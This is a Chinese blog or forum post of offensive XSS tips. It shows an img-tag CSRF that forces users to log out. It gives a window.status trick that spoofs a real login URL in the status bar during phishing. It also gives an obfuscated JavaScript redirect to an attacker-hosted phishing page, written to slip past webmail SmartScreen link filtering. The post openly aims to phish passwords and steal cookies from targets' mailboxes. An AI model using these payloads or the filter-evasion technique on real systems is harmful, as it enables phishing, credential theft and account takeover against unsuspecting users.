XSS两三事(第一季)
Author:ShadowHider
Email:s@xeye.us
这几天发现论坛里讨论XSS的帖子多了起来,刚好我以前也折腾过一阵子XSS,就斗胆来和大家交流分享下。
下面分享几个不算tips的tips,应该很多大牛在利用XSS时都注意到了,但我还是再写一下吧,帮大家做个备忘。:P
#1 使用img标签进行CSRF
之前瞌睡龙兄弟在https://www.webshell.cc/thread-19431-1-2.html帖子中提到了需要利用CSRF来实现强制用户退出,在原贴中是这样写的:
其实不用这么麻烦,直接用下面的类似代码就可以实现一样的效果
<img src=" https://www.webshell.cc/logging.php?action=logout&formhash=1111111" />
img标签使用src属性时会触发一个GET请求,我们刚好可以利用它来实现CSRF攻击。
当前浏览器中保存了用户的session的话,用户访问包含以上代码的页面就会自动退出,达到了我们的目的。
#2 钓鱼时浏览器状态栏的问题
很多人在渗透中都热衷于先搞下目标的邮箱,各种XSS MAIL发的飞起,有偷cookies的,有钓密码的。
就拿钓密码的例子来讲,在执行payload时,有没有发现浏览器的状态栏那里略显尴尬?
呵呵,在你那段payload中加一句类似
window.status='https://login.163.com/ppsecure/post.srf?wa=wsignin1.0...';
这样的代码吧,会让整个钓鱼场景看起来会更和谐的(链接后面的...是精髓,lol)。
效果图:
#3 某MAIL XSS利用的一点细节
既然谈到了XSS MAIL的事,就多聊点,也是我以前遇到过的。
常搞渗透的各位牛应该知道某邮箱的cookie拿来是用不了的,所以该邮箱XSS的利用方式一般都是跳到自己的页面钓密码(当然也有直接利用ajax读邮件的),但是直接在payload中写自己钓鱼用的链接,然后发出去,到了目标的收件箱里,点开邮件后是这样的,不会执行我们的payload。
不过在目标邮箱里把自己的发信箱添加成联系人之后再发就不会出现这种情况了,当然这不现实。。。
原因是SmartScreen这货会检查邮件中所附带的链接,应该是靠一种白名单机制检测,不匹配就拦。
详细的看这里吧http://www.microsoft.com/mscorp/safety/technologies/senderid/overview.mspx
貌似就是这个东西在作怪。
当然,既然这里都能执行JS了,绕过这个检测机制也就不是什么难事了,把链接混淆下就行,像下面这样:
eval(window.location.replace('hfuckttfuckp:fuck/fuck/1fuck11.111.fuck111.11/sn123w.snt1fuck23.mafuckil.fucklivefuck.cfuckom/hofucktmailfuck.htm'.replace(/fuck/g,'')))
修改好payload之后再测试,发现不会被SmartScreen拦了,打开邮件直接跳转,bingo!
就先写这么多吧,我是想到哪写到哪,不走大脑的,没什么逻辑,文中有什么疏漏也请各位看官轻踩,欢迎批评指正。这里只是抛砖引玉,欢迎各路神仙在下面一起交流分享。
转载请注明来自WebShell'S Blog,本文地址:https://www.webshell.cc/2253.html